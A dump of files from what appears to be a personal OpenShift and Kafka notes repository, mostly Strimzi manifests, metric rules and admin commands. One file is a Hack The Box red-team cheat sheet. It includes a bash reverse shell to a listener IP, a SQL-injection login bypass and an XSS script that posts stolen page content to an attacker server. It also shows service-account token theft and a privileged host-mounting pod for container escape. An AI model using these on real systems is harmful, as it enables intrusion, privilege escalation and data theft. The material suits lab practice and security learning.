| config.openshift.io/inject-trusted-cabundle: "true" 6 | name: ocp-injected-certs 7 | -------------------------------------------------------------------------------- /grafana_easy/grafana/values.yaml: -------------------------------------------------------------------------------- 1 | # Default values for deploy. 2 | # This is a YAML-formatted file. 3 | # Declare variables to be passed into your templates. 4 | 5 | # openshift_prometheus_basic_auth_pass=$GRAFANA_DATASOURCE_PASSWORD 6 | openshift_prometheus_basic_auth_pass: Y2hhbmdlIG1lCg== 7 | 8 | # openshift_prometheus_htpasswd_auth=$PROMETHEUS_HTPASSWD_AUTH 9 | openshift_prometheus_htpasswd_auth: Y2hhbmdlIG1lCg== 10 | -------------------------------------------------------------------------------- /hackthebox.md: -------------------------------------------------------------------------------- 1 | # Hack the box 2 | 3 | To lazy to create another repo for even more notes... 4 | 5 | This document will focus on writing down command to play with for when doing red team work. 6 | Something something only use for good. 7 | 8 | ## Setup 9 | 10 | Follow the settings in hack the back page. 11 | Download the package file and start the openvpn. 12 | 13 | ```shell 14 | sudo openvpn my.ovpn 15 | ``` 16 | 17 | ## nmap 18 | 19 | ```shell 20 | sudo nmap -sC -sV -oA nmap/example 192.168.0.1 21 | # -sC = default script 22 | # -sV = Probe open ports and versions 23 | # -oA = output 24 | 25 | sudo nmap -p- -n -oA nmap-allports 192.168.0.1 26 | ``` 27 | 28 | ## gobuster 29 | 30 | ```shell 31 | # kali linux 32 | gobuster dir -u http://192.168.0.1 -w /opt/SecLists/Discovery/web-Content/raft-small-words.txt -x php -o gobuster.out 33 | 34 | # arch 35 | gobuster dir -u http://10.129.20.199 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x js, html -o gobuster.out 36 | 37 | gobuster vhost -u http://10.129.20.199 /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o gobuster.vhost.out 38 | 39 | ``` 40 | 41 | ## Burp 42 | 43 | Can do a bunch of things :) 44 | 45 | ## Sqlmap 46 | 47 | Sql injection [tool](https://sqlmap.org/) written in python. 48 | Save the output of your request from burp and give it to sqlmap. 49 | Have sqlmap try a number of injects for you. 50 | 51 | ```shell 52 | sqlmap -r login.req --batch 53 | ``` 54 | 55 | ### So basic sql injection 56 | 57 | ```.php 58 | username=admin'#&password=a 59 | # Web encode '# and forward to the host. In this case the php site will take think the sql query ends. 60 | # So they query only checks for username admin and if it exists thats okay. The password query isn't forwarded. 61 | username=admin%27%23&password=a 62 | ``` 63 | 64 | ## Cross site scripting 65 | 66 | Even more basic stuff :) 67 | This is something that you can put in forms to see if the potentially might run scripts for you. 68 | 69 | Make sure that you have something listening on your client, for example through nc. 70 | Just listen and see if it was a request sent to it. 71 | 72 | Another option is to use python as a webserver, more information at the python part. 73 | 74 | ```.html 75 | 76 | ``` 77 | 78 | ## remote exec 79 | 80 | ### nc or ncat 81 | 82 | Setup and listen for incoming traffic from remote exec on your local host. 83 | 84 | ```shell 85 | nc -lvnp 9001 86 | ``` 87 | 88 | On the remote host that you want to forward your session to. 89 | Lets assume that your local host got the ip 10.10.0.1. 90 | 91 | ```shell 92 | bash -c 'bash -i >& /dev/tcp/10.10.0.1/9001' 93 | # Might need to web encode the request or something similar 94 | bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.0.1%2F9001%27 95 | ``` 96 | 97 | ## fuzzing 98 | 99 | ```shell 100 | # FUZZ is the targeted value in this case that should be changed by the fuzzer 101 | wfuzz -u http://10.10.0.1/accounts.php -H -d 'username=something&password=12345&FUZZ=12345' -w /path/to/burp-parameter-names.txt 102 | ``` 103 | 104 | ## Python 105 | 106 | ### Start bash from python 107 | 108 | And give your self a decent working environment. 109 | 110 | ```shell 111 | python3 -c ' import pty;pty.spawn("/bin/bash")' 112 | # put it in background 113 | stty raw -echo; fg 114 | export TERM=xterm 115 | ``` 116 | 117 | ### Web server 118 | 119 | ```shell 120 | # sudo needed since port 80 ^^ 121 | sudo python3 -m http.server 80 122 | ``` 123 | 124 | ## nodejs 125 | 126 | Go to target.url make a GET request and save the response. 127 | Use a POST to our receiver endpoint and post the response. 128 | This way we can have a remote host send data to our server and we can see what data it contains. 129 | 130 | ```pwn.js 131 | var target = "http://taget.url"; 132 | var receiver = http://192.168.0.1:8000/ 133 | var req1 = new XMLHttpRequest(); # Similar to what the host is using. 134 | req1.open('GET', target, false); 135 | req1.send(); 136 | var response = req1.responseText; 137 | 138 | var req2 = new XMLHttpRequest(); # Similar to what the host is using. 139 | req2.open('POST', receiver, false); # Your receiver page 140 | req2.send(response); 141 | ``` 142 | 143 | Through burp or what ever tool you are using to send request to your vulnerable page. 144 | Tell it to download your pawn.js and it can run it. 145 | 146 | For example 147 | 148 | ```html request 149 | Referer: 150 | ``` 151 | 152 | Your primary listening server on port 80 in this case will server the attacked server with pawn.js. 153 | Pawn.js will then run the script and in this case forward the reply to your secondary server. 154 | 155 | ## Hashcat 156 | 157 | Password recovery utility, used together with a word list. 158 | 159 | ```shell 160 | hashcat file-containing-password /path/to/wordlist 161 | ``` 162 | 163 | ## web tools 164 | 165 | wappalyzer = a tool that scans homepages as a extensions and gives you information what technologies it uses. 166 | For example php, js etc. 167 | 168 | ## kubernetes 169 | 170 | OWASP kubernetes security [cheat sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Kubernetes_Security_Cheat_Sheet.md) 171 | 172 | Depending on what tools you have available in the container you there are a number of ways of start talking to the kubernetes API. 173 | 174 | ```shell 175 | openssl s_client -connect kubernetes.default.svc.cluster.local.:443 < /dev/null 2>/dev/null |openssl x509 -noout -text |grep -E "DNS:| IP Address:" 176 | ``` 177 | 178 | ### kubernetes API 179 | 180 | Kubernetes containers contain a bunch of default env vars. These vars are easily used to talk to the kubernetes API. 181 | 182 | [access k8s api](https://kubernetes.io/docs/tasks/run-application/access-api-from-pod/) 183 | 184 | ```shell 185 | curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version 186 | # Point to the internal API server hostname 187 | APISERVER=https://kubernetes.default.svc 188 | # Path to ServiceAccount token 189 | SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount 190 | # Read this Pod's namespace 191 | NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) 192 | # Read the ServiceAccount bearer token 193 | TOKEN=$(cat ${SERVICEACCOUNT}/token) 194 | # Reference the internal certificate authority (CA) 195 | CACERT=${SERVICEACCOUNT}/ca.crt 196 | # Explore the API with TOKEN 197 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api 198 | 199 | # get all pods in your current namespace 200 | curl --cacert ${CACERT} -s $APISERVER/api/v1/namespaces/$NAMESPACE/pods/ --header "Authorization: Bearer $TOKEN" 201 | 202 | # Get a specific pod 203 | curl --cacert ${CACERT} -s $APISERVER/api/v1/namespaces/kube-system/pods/kube-apiserver-kind-control-plane | head -n 10 204 | ``` 205 | 206 | #### create a bad pod using rest API 207 | 208 | ```shell 209 | curl --cacert ${CACERT} --header "Authorization: Bearer $TOKEN" -X POST -H 'Content-Type: application/yaml' \ 210 | --data ' 211 | apiVersion: v1 212 | kind: Pod 213 | metadata: 214 | name: debug3 215 | spec: 216 | containers: 217 | - command: 218 | - /bin/sh 219 | resources: 220 | requests: 221 | memory: "16Mi" 222 | cpu: "10m" 223 | limits: 224 | memory: "64Mi" 225 | cpu: "100m" 226 | image: alpine:latest 227 | name: container-00 228 | securityContext: 229 | privileged: true 230 | runAsUser: 0 231 | tty: true 232 | volumeMounts: 233 | - mountPath: /host 234 | name: host 235 | volumes: 236 | - hostPath: 237 | path: / 238 | type: Directory 239 | name: host 240 | hostNetwork: true 241 | ' "https://${KUBERNETES_SERVICE_HOST}/api/v1/namespaces/${NAMESPACE}/pods" 242 | ``` 243 | 244 | #### k8s api exec using python 245 | 246 | To create a pod and [exec](https://github.com/kubernetes-client/python/blob/master/examples/pod_exec.py) 247 | I have done a minor update to the script so it instead uses credentials from running inside a pod [kubernetes/pod_exec.py](kubernetes/pod_exec.py) 248 | 249 | At the same time it's not worth having all the access that you need to exec. It would be a extremely strange rbac rule to write for a normal service account, so this isn't very realistic. 250 | Instead you should focus on writing a good container file that automatically gives you a shell using something like ncat. 251 | 252 | But it's a good option if you don't got curl or wget but you have python and you want a simple script to create a pod. 253 | At the same time you would have to install pip or rewrite the script to use pure rest api instead. 254 | 255 | If you want to install pip you can easily do so through `python -m ensurepip --upgrade` 256 | 257 | ### kubectl within a pod 258 | 259 | Just download kubectl and thanks to the environment vars you don't have to do anything. 260 | Having issues to create an active session towards the host. But not a problem to perform single commands. 261 | Need to do some redirect magic to stdout and it should work. 262 | 263 | ### dns 264 | 265 | Outputs all dns endpoints in a cluster. 266 | 267 | ```shell 268 | dig +noall +answer srv any.any.svc.cluster.local 269 | ``` 270 | 271 | ### kubernetes tools 272 | 273 | [check capabilities etc](https://github.com/genuinetools/amicontained) 274 | [container analyze tool](https://github.com/brompwnie/botb) 275 | 276 | ## ctf options 277 | 278 | There are a number of ways of holding a Capture The Flag (CTF). One way could potentially be: [https://github.com/redcode-labs/RedNix](https://github.com/redcode-labs/RedNix) 279 | 280 | ## install 281 | 282 | ```shell 283 | pacman -S nmap 284 | yay -S gobuster 285 | yay -S sqlmap 286 | yay -S seclists 287 | ``` 288 | 289 | [burp](https://portswigger.net/burp/releases/professional-community-2022-2-3) 290 | 291 | Just like when installing zap burp needs to be installed as root. 292 | -------------------------------------------------------------------------------- /imageServceacc.md: -------------------------------------------------------------------------------- 1 | # Image service account 2 | 3 | Service accounts is used for programmatic access. 4 | 5 | ```bash 6 | oc create serviceaccount registry-admin -n openshift-config 7 | 8 | oc adm policy add-cluster-role-to-user registry-admin system:serviceaccount:openshift-config:registry-admin 9 | 10 | oc create imagestream ubi8 -n openshift 11 | 12 | sudo yum install -y skopeo 13 | 14 | REGISTRY_ADMIN_TOKEN=$(oc sa get-token -n openshift-config registry-admin) 15 | 16 | UBI8_IMAGE_REPO=$(oc get is -n openshift ubi8 -o jsonpath='{.status.publicDockerImageRepository}') 17 | 18 | export SSL_CERT_FILE=$HOME/ca/cacert.pem 19 | 20 | skopeo copy docker://registry.access.redhat.com/ubi8:latest docker://$UBI8_IMAGE_REPO:latest --dest-creds -:$REGISTRY_ADMIN_TOKEN 21 | ``` 22 | 23 | If you have used a self signed cert you need to add a funny flag in your scope command... 24 | 25 | --dest-tls-verify=false 26 | -------------------------------------------------------------------------------- /img/SLSA-attestation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NissesSenap/ocp4GoodToHave/7d554bd9685ecd5d1f5c1a86426fdea3d52903af/img/SLSA-attestation.png -------------------------------------------------------------------------------- /img/gcp_cve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NissesSenap/ocp4GoodToHave/7d554bd9685ecd5d1f5c1a86426fdea3d52903af/img/gcp_cve.png -------------------------------------------------------------------------------- /kafka/connect.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kafka.strimzi.io/v1alpha1 2 | kind: KafkaConnect 3 | metadata: 4 | name: my-connect-cluster 5 | labels: 6 | app: my-connect-cluster 7 | spec: 8 | replicas: 1 9 | bootstrapServers: my-cluster-kafka-bootstrap:9092 10 | config: 11 | key.converter: org.apache.kafka.connect.storage.StringConverter 12 | value.converter: org.apache.kafka.connect.storage.StringConverter 13 | key.converter.schemas.enable: false 14 | value.converter.schemas.enable: false 15 | metrics: 16 | lowercaseOutputName: true 17 | lowercaseOutputLabelNames: true 18 | rules: 19 | #kafka.connect:type=app-info,client-id="{clientid}" 20 | #kafka.consumer:type=app-info,client-id="{clientid}" 21 | #kafka.producer:type=app-info,client-id="{clientid}" 22 | - pattern: 'kafka.(.+)<>start-time-ms' 23 | name: kafka_$1_start_time_seconds 24 | labels: 25 | clientId: "$2" 26 | help: "Kafka $1 JMX metric start time seconds" 27 | type: GAUGE 28 | valueFactor: 0.001 29 | - pattern: 'kafka.(.+)<>(commit-id|version): (.+)' 30 | name: kafka_$1_$3_info 31 | value: 1 32 | labels: 33 | clientId: "$2" 34 | $3: "$4" 35 | help: "Kafka $1 JMX metric info version and commit-id" 36 | type: GAUGE 37 | 38 | #kafka.producer:type=producer-topic-metrics,client-id="{clientid}",topic="{topic}"", partition="{partition}" 39 | #kafka.consumer:type=consumer-fetch-manager-metrics,client-id="{clientid}",topic="{topic}"", partition="{partition}" 40 | - pattern: kafka.(.+)<>(.+-total|compression-rate|.+-avg|.+-replica|.+-lag|.+-lead) 41 | name: kafka_$2_$6 42 | labels: 43 | clientId: "$3" 44 | topic: "$4" 45 | partition: "$5" 46 | help: "Kafka $1 JMX metric type $2" 47 | type: GAUGE 48 | 49 | #kafka.producer:type=producer-topic-metrics,client-id="{clientid}",topic="{topic}" 50 | #kafka.consumer:type=consumer-fetch-manager-metrics,client-id="{clientid}",topic="{topic}"", partition="{partition}" 51 | - pattern: kafka.(.+)<>(.+-total|compression-rate|.+-avg) 52 | name: kafka_$2_$5 53 | labels: 54 | clientId: "$3" 55 | topic: "$4" 56 | help: "Kafka $1 JMX metric type $2" 57 | type: GAUGE 58 | 59 | #kafka.connect:type=connect-node-metrics,client-id="{clientid}",node-id="{nodeid}" 60 | #kafka.consumer:type=consumer-node-metrics,client-id=consumer-1,node-id="{nodeid}" 61 | - pattern: kafka.(.+)<>(.+-total|.+-avg) 62 | name: kafka_$2_$5 63 | labels: 64 | clientId: "$3" 65 | nodeId: "$4" 66 | help: "Kafka $1 JMX metric type $2" 67 | type: UNTYPED 68 | 69 | #kafka.connect:type=kafka-metrics-count,client-id="{clientid}" 70 | #kafka.consumer:type=consumer-fetch-manager-metrics,client-id="{clientid}" 71 | #kafka.consumer:type=consumer-coordinator-metrics,client-id="{clientid}" 72 | #kafka.consumer:type=consumer-metrics,client-id="{clientid}" 73 | - pattern: kafka.(.+)<>(.+-total|.+-avg|.+-bytes|.+-count|.+-ratio|.+-age|.+-flight|.+-threads|.+-connectors|.+-tasks|.+-ago) 74 | name: kafka_$2_$4 75 | labels: 76 | clientId: "$3" 77 | help: "Kafka $1 JMX metric type $2" 78 | type: GAUGE 79 | 80 | #kafka.connect:type=connector-task-metrics,connector="{connector}",task="{task}<> status" 81 | - pattern: 'kafka.connect<>status: ([a-z-]+)' 82 | name: kafka_connect_connector_status 83 | value: 1 84 | labels: 85 | connector: "$1" 86 | task: "$2" 87 | status: "$3" 88 | help: "Kafka Connect JMX Connector status" 89 | type: GAUGE 90 | 91 | #kafka.connect:type=task-error-metrics,connector="{connector}",task="{task}" 92 | #kafka.connect:type=source-task-metrics,connector="{connector}",task="{task}" 93 | #kafka.connect:type=sink-task-metrics,connector="{connector}",task="{task}" 94 | #kafka.connect:type=connector-task-metrics,connector="{connector}",task="{task}" 95 | - pattern: kafka.connect<>(.+-total|.+-count|.+-ms|.+-ratio|.+-avg|.+-failures|.+-requests|.+-timestamp|.+-logged|.+-errors|.+-retries|.+-skipped) 96 | name: kafka_connect_$1_$4 97 | labels: 98 | connector: "$2" 99 | task: "$3" 100 | help: "Kafka Connect JMX metric type $1" 101 | type: GAUGE 102 | 103 | #kafka.connect:type=connector-metrics,connector="{connector}" 104 | #kafka.connect:type=connect-worker-metrics,connector="{connector}" 105 | - pattern: kafka.connect<>([a-z-]+) 106 | name: kafka_connect_worker_$2 107 | labels: 108 | connector: "$1" 109 | help: "Kafka Connect JMX metric $1" 110 | type: GAUGE 111 | 112 | #kafka.connect:type=connect-worker-metrics 113 | - pattern: kafka.connect<>([a-z-]+) 114 | name: kafka_connect_worker_$1 115 | help: "Kafka Connect JMX metric worker" 116 | type: GAUGE 117 | 118 | #kafka.connect:type=connect-worker-rebalance-metrics 119 | - pattern: kafka.connect<>([a-z-]+) 120 | name: kafka_connect_worker_rebalance_$1 121 | help: "Kafka Connect JMX metric rebalance information" 122 | type: GAUGE 123 | 124 | --- 125 | apiVersion: route.openshift.io/v1 126 | kind: Route 127 | metadata: 128 | name: my-connect-cluster 129 | spec: 130 | port: 131 | targetPort: 8083 132 | to: 133 | kind: Service 134 | name: my-connect-cluster-connect-api -------------------------------------------------------------------------------- /kafka/hello-world.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: extensions/v1beta1 2 | kind: Deployment 3 | metadata: 4 | labels: 5 | app: hello-world-producer 6 | name: hello-world-producer 7 | spec: 8 | replicas: 1 9 | template: 10 | metadata: 11 | labels: 12 | app: hello-world-producer 13 | spec: 14 | containers: 15 | - name: hello-world-producer 16 | image: strimzici/hello-world-producer:support-training 17 | env: 18 | - name: BOOTSTRAP_SERVERS 19 | value: my-cluster-kafka-bootstrap:9092 20 | - name: TOPIC 21 | value: my-topic 22 | - name: DELAY_MS 23 | value: "1000" 24 | - name: LOG_LEVEL 25 | value: "INFO" 26 | - name: MESSAGE_COUNT 27 | value: "1000000" 28 | --- 29 | apiVersion: extensions/v1beta1 30 | kind: Deployment 31 | metadata: 32 | labels: 33 | app: hello-world-consumer 34 | name: hello-world-consumer 35 | spec: 36 | replicas: 1 37 | template: 38 | metadata: 39 | labels: 40 | app: hello-world-consumer 41 | spec: 42 | containers: 43 | - name: hello-world-consumer 44 | image: strimzici/hello-world-consumer:support-training 45 | env: 46 | - name: BOOTSTRAP_SERVERS 47 | value: my-cluster-kafka-bootstrap:9092 48 | - name: TOPIC 49 | value: my-topic 50 | - name: GROUP_ID 51 | value: my-hello-world-consumer 52 | - name: LOG_LEVEL 53 | value: "INFO" 54 | - name: MESSAGE_COUNT 55 | value: "1000000" 56 | -------------------------------------------------------------------------------- /kafka/kafka-cluster.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kafka.strimzi.io/v1alpha1 2 | kind: Kafka 3 | metadata: 4 | name: my-cluster 5 | labels: 6 | app: my-cluster 7 | spec: 8 | kafka: 9 | replicas: 3 10 | resources: 11 | requests: 12 | memory: 512Mi 13 | cpu: 500m 14 | limits: 15 | memory: 2Gi 16 | cpu: 700m 17 | listeners: 18 | plain: {} 19 | tls: {} 20 | external: 21 | type: route 22 | config: 23 | auto.create.topics.enabled: true 24 | offsets.topic.replication.factor: 3 25 | transaction.state.log.replication.factor: 3 26 | transaction.state.log.min.isr: 2 27 | storage: 28 | type: ephemeral 29 | metrics: 30 | # Inspired by config from Kafka 2.0.0 example rules: 31 | # https://github.com/prometheus/jmx_exporter/blob/master/example_configs/kafka-2_0_0.yml 32 | lowercaseOutputName: true 33 | lowercaseOutputLabelNames: true 34 | rules: 35 | # Special cases and very specific rules 36 | - pattern : kafka.server<>Value 37 | name: kafka_server_$1_$2 38 | type: GAUGE 39 | labels: 40 | clientId: "$3" 41 | topic: "$4" 42 | partition: "$5" 43 | - pattern : kafka.server<>Value 44 | name: kafka_server_$1_$2 45 | type: GAUGE 46 | labels: 47 | clientId: "$3" 48 | broker: "$4:$5" 49 | # Some percent metrics use MeanRate attribute 50 | # Ex) kafka.server<>MeanRate 51 | - pattern: kafka.(\w+)<>MeanRate 52 | name: kafka_$1_$2_$3_percent 53 | type: GAUGE 54 | # Generic gauges for percents 55 | - pattern: kafka.(\w+)<>Value 56 | name: kafka_$1_$2_$3_percent 57 | type: GAUGE 58 | - pattern: kafka.(\w+)<>Value 59 | name: kafka_$1_$2_$3_percent 60 | type: GAUGE 61 | labels: 62 | "$4": "$5" 63 | # Generic per-second counters with 0-2 key/value pairs 64 | - pattern: kafka.(\w+)<>Count 65 | name: kafka_$1_$2_$3_total 66 | type: COUNTER 67 | labels: 68 | "$4": "$5" 69 | "$6": "$7" 70 | - pattern: kafka.(\w+)<>Count 71 | name: kafka_$1_$2_$3_total 72 | type: COUNTER 73 | labels: 74 | "$4": "$5" 75 | - pattern: kafka.(\w+)<>Count 76 | name: kafka_$1_$2_$3_total 77 | type: COUNTER 78 | # Generic gauges with 0-2 key/value pairs 79 | - pattern: kafka.(\w+)<>Value 80 | name: kafka_$1_$2_$3 81 | type: GAUGE 82 | labels: 83 | "$4": "$5" 84 | "$6": "$7" 85 | - pattern: kafka.(\w+)<>Value 86 | name: kafka_$1_$2_$3 87 | type: GAUGE 88 | labels: 89 | "$4": "$5" 90 | - pattern: kafka.(\w+)<>Value 91 | name: kafka_$1_$2_$3 92 | type: GAUGE 93 | # Emulate Prometheus 'Summary' metrics for the exported 'Histogram's. 94 | # Note that these are missing the '_sum' metric! 95 | - pattern: kafka.(\w+)<>Count 96 | name: kafka_$1_$2_$3_count 97 | type: COUNTER 98 | labels: 99 | "$4": "$5" 100 | "$6": "$7" 101 | - pattern: kafka.(\w+)<>(\d+)thPercentile 102 | name: kafka_$1_$2_$3 103 | type: GAUGE 104 | labels: 105 | "$4": "$5" 106 | "$6": "$7" 107 | quantile: "0.$8" 108 | - pattern: kafka.(\w+)<>Count 109 | name: kafka_$1_$2_$3_count 110 | type: COUNTER 111 | labels: 112 | "$4": "$5" 113 | - pattern: kafka.(\w+)<>(\d+)thPercentile 114 | name: kafka_$1_$2_$3 115 | type: GAUGE 116 | labels: 117 | "$4": "$5" 118 | quantile: "0.$6" 119 | - pattern: kafka.(\w+)<>Count 120 | name: kafka_$1_$2_$3_count 121 | type: COUNTER 122 | - pattern: kafka.(\w+)<>(\d+)thPercentile 123 | name: kafka_$1_$2_$3 124 | type: GAUGE 125 | labels: 126 | quantile: "0.$4" 127 | zookeeper: 128 | replicas: 3 129 | resources: 130 | requests: 131 | memory: 512Mi 132 | cpu: 200m 133 | limits: 134 | memory: 2Gi 135 | cpu: 500m 136 | storage: 137 | type: ephemeral 138 | metrics: 139 | # Inspired by Zookeeper rules 140 | # https://github.com/prometheus/jmx_exporter/blob/master/example_configs/zookeeper.yaml 141 | lowercaseOutputName: true 142 | lowercaseOutputLabelNames: true 143 | rules: 144 | # replicated Zookeeper 145 | - pattern: "org.apache.ZooKeeperService<>(\\w+)" 146 | name: "zookeeper_$2" 147 | type: GAUGE 148 | - pattern: "org.apache.ZooKeeperService<>(\\w+)" 149 | name: "zookeeper_$3" 150 | type: GAUGE 151 | labels: 152 | replicaId: "$2" 153 | - pattern: "org.apache.ZooKeeperService<>(Packets.*)" 154 | name: "zookeeper_$4" 155 | type: COUNTER 156 | labels: 157 | replicaId: "$2" 158 | memberType: "$3" 159 | - pattern: "org.apache.ZooKeeperService<>(\\w+)" 160 | name: "zookeeper_$4" 161 | type: GAUGE 162 | labels: 163 | replicaId: "$2" 164 | memberType: "$3" 165 | - pattern: "org.apache.ZooKeeperService<>(\\w+)" 166 | name: "zookeeper_$4_$5" 167 | type: GAUGE 168 | labels: 169 | replicaId: "$2" 170 | memberType: "$3" 171 | # standalone Zookeeper 172 | - pattern: "org.apache.ZooKeeperService<>(\\w+)" 173 | type: GAUGE 174 | name: "zookeeper_$2" 175 | - pattern: "org.apache.ZooKeeperService<>(\\w+)" 176 | type: GAUGE 177 | name: "zookeeper_$2" 178 | entityOperator: 179 | topicOperator: 180 | resources: 181 | requests: 182 | memory: 512Mi 183 | cpu: 200m 184 | limits: 185 | memory: 2Gi 186 | cpu: 500m 187 | userOperator: 188 | resources: 189 | requests: 190 | memory: 512Mi 191 | cpu: 200m 192 | limits: 193 | memory: 2Gi 194 | cpu: 500m 195 | kafkaExporter: 196 | groupRegex: ".*" 197 | topicRegex: ".*" 198 | resources: 199 | requests: 200 | cpu: 200m 201 | memory: 64Mi 202 | limits: 203 | cpu: 500m 204 | memory: 128Mi 205 | logging: warn 206 | enableSaramaLogging: true 207 | -------------------------------------------------------------------------------- /kafka/kafka.md: -------------------------------------------------------------------------------- 1 | # Kafka 2 | 3 | AMQ Streams or strimzi is nice 4 | 5 | All the yaml is written without defning namespace, so jump in to the correct one before creating your stuff. 6 | Except for namespace selectors in the monitoring section for example: [strimzi-pod-monitor.yaml](./monitoring/strimzi-pod-monitor.yaml). 7 | I want to show an example on how to do this and It looks like a good idea :) I assume that you have a namespace=kafka in there. 8 | Please change so it fites your needs. 9 | 10 | Sorry about not writing a helm/kustomize for this instead. 11 | 12 | Most of the exampls is take from [strimzi operator repo](https://github.com/strimzi/strimzi-kafka-operator/) or for random blogs and chat groups. 13 | 14 | For a detailed explination on how Strimzi work with OCP [routes](https://strimzi.io/2019/04/30/accessing-kafka-part-3.html) 15 | 16 | ## Example files 17 | 18 | Kafka-cluster.yaml contains the cluster specification. 19 | Notice the metrics and listeners part 20 | 21 | hello-world.yaml creates two apps that consums and prduces stuff on my-topic 22 | 23 | ## Kafka commands 24 | 25 | ### Jump in to a kafka host 26 | 27 | oc exec -ti my-cluster-kafka-0 -- bash 28 | 29 | or use rsh dosen't matter. 30 | 31 | ### Describe all topics 32 | 33 | bin/kafka-topics.sh --zookeeper localhost:2181 --describe 34 | 35 | ### List all under-replicated partitions 36 | 37 | bin/kafka-topics.sh --zookeeper localhost:2181 --describe --under-replicated-partitions 38 | 39 | Hopefully this is empty. 40 | 41 | ### List unavailable partitions 42 | 43 | bin/kafka-topics.sh --zookeeper localhost:2181 --describe --unavailable-partitions 44 | 45 | Should also hopefully be empty 46 | 47 | ### List consumer groups 48 | 49 | bin/kafka-consumer-groups.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --list 50 | 51 | ### Show consumer group details 52 | 53 | bin/kafka-consumer-groups.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --describe --group my-hello-world-consumer 54 | 55 | ## Kafka externally 56 | 57 | To be able to reach the environment externally you need to setup a few things and since it's alwas good test lets do it. 58 | 59 | ### Fix keystore and crt 60 | 61 | #### Get crt 62 | 63 | oc extract secret/my-cluster-cluster-ca-cert --keys=ca.crt --to=- > ca.crt 64 | 65 | #### Create keystore 66 | 67 | keytool -import -trustcacerts -alias root -file ca.crt -keystore keystore.jks -storepass password -noprompt 68 | 69 | #### Verify keystore 70 | 71 | keytool -list -v -keystore keystore.jks 72 | 73 | ### Verify topic externally using keystore 74 | 75 | #### Download kafka 76 | 77 | You will need a a bin or two from kafka on your client. 78 | 79 | Download [kafka](https://kafka.apache.org/downloads) 80 | 81 | #### Create client.properties 82 | 83 | Take the ssl truestore location from where you create the keystore and same with passowrd. 84 | In my example the password is password :) 85 | 86 | ```shell 87 | cat client.properties 88 | security.protocol=SSL 89 | ssl.truststore.location=kafka.server.truststore.jks 90 | ssl.truststore.password=XXX 91 | ``` 92 | 93 | #### Start consumer 94 | 95 | In terminal 1 96 | 97 | NOTE the :443 98 | 99 | ./kafka-console-consumer.sh --bootstrap-server my-cluster-kafka-bootstrap-kafka.apps.ocp67.ajco.se:443 --from-beginning --topic my-topic --consumer.config client.properties 100 | 101 | And if you have something to produce towards this topic you will see something 102 | 103 | ### Verify topic through java app 104 | 105 | Yes I know java :( 106 | 107 | NOTE: You need to create a topic called my-topic 108 | 109 | ```shell 110 | git clone https://github.com/hguerrero/amq-examples.git 111 | 112 | cd camel-kafka-demo 113 | 114 | oc extract secret/my-cluster-cluster-ca-cert --keys=ca.crt --to=- > src/main/resources/ca.crt 115 | 116 | keytool -import -trustcacerts -alias root -file src/main/resources/ca.crt -keystore src/main/resources/keystore.jks -storepass password -noprompt 117 | 118 | # To stat this app takes around 5 min due to the need to download half of all the mvn packages in the world. 119 | mvn -Drun.jvmArguments="-Dbootstrap.server=`oc get routes my-cluster-kafka-bootstrap -o=jsonpath='{.status.ingress[0].host} {"\n"}'`:443" clean package spring-boot:run 120 | ``` 121 | 122 | You should now see messages being sent with the help of camel. 123 | 124 | ## Kafka Connect 125 | 126 | Assuming that you want to use a [external connector](https://access.redhat.com/documentation/en-us/red_hat_amq/7.6/html/using_amq_streams_on_rhel/assembly-kafka-connect-str#ref-kafka-connect-distributed-connector-configuration-str) 127 | 128 | then you can restart it independeitly instead of restarting the entire pod. 129 | 130 | ### Restart connector using API 131 | 132 | Assuming that you rsh in to the connector pod 133 | 134 | curl -i -X POST localhost:8083/connectors//restart 135 | 136 | ## Monitoring 137 | 138 | Of course we should monitor our kafka [env:](https://access.redhat.com/documentation/en-us/red_hat_amq/7.6/html/using_amq_streams_on_openshift/assembly-deployment-configuration-str#assembly-kafka-exporter-configuration-deployment-configuration-kafka) 139 | 140 | In your Kafka crd enable the kafka exporter as you can see in: [kafka-cluster.yaml](./kafka-cluster.yaml) 141 | 142 | ## Service-registry 143 | 144 | Also called [schema-registry](https://access.redhat.com/documentation/en-us/red_hat_integration/2019-12/html/getting_started_with_service_registry/intro-to-the-registry) 145 | 146 | ### Install 147 | 148 | [Official documentation](https://access.redhat.com/documentation/en-us/red_hat_integration/2019-12/html/getting_started_with_service_registry/installing-the-registry#installing-registry-kafka-kubernetes-storage) 149 | 150 | ```shell 151 | # Downloda the OCP template or use the file in the repo 152 | wget https://github.com/Apicurio/apicurio-registry/blob/1.0.x-redhat/distro/openshift-template/service-registry-template.yml 153 | 154 | # Deploy the service-registry 155 | oc new-app service-registry-template.yml -p KAFKA_BOOTSTRAP_SERVERS=my-cluster-kafka-bootstrap:9092 -p REGISTRY_ROUTE=my-cluster-service-registry-kafka.apps.ocp67.ajco.se 156 | ``` 157 | 158 | ### Verfiy 159 | 160 | ```curl -i -k -X POST -H "Content-type: application/json; artifactType=AVRO" -H "X-Registry-ArtifactId: prices-value" --data '{"type":"record","name":"price","namespace":"com.redhat","fields":[{"name":"symbol","type":"string"},{"name":"price","type":"string"}]}' https://my-cluster-service-registry-kafka.apps.ocp67.ajco.se/artifacts``` 161 | 162 | ## Conenct 163 | 164 | To be able to add more features like s3 or jdbc to the kafkaConnect you need to add those jar files to the image. 165 | 166 | You can download a bunch of open-source jars from confluent or write your own. 167 | Download the jars manually and put in a random folder: 168 | 169 | https://www.confluent.io/hub/confluentinc/kafka-connect-s3 170 | 171 | https://www.confluent.io/hub/confluentinc/kafka-connect-jdbc 172 | 173 | ### Create a s2i build 174 | 175 | You can defently do this in a easier way, but I have tried this and it works. 176 | 177 | You can find the official 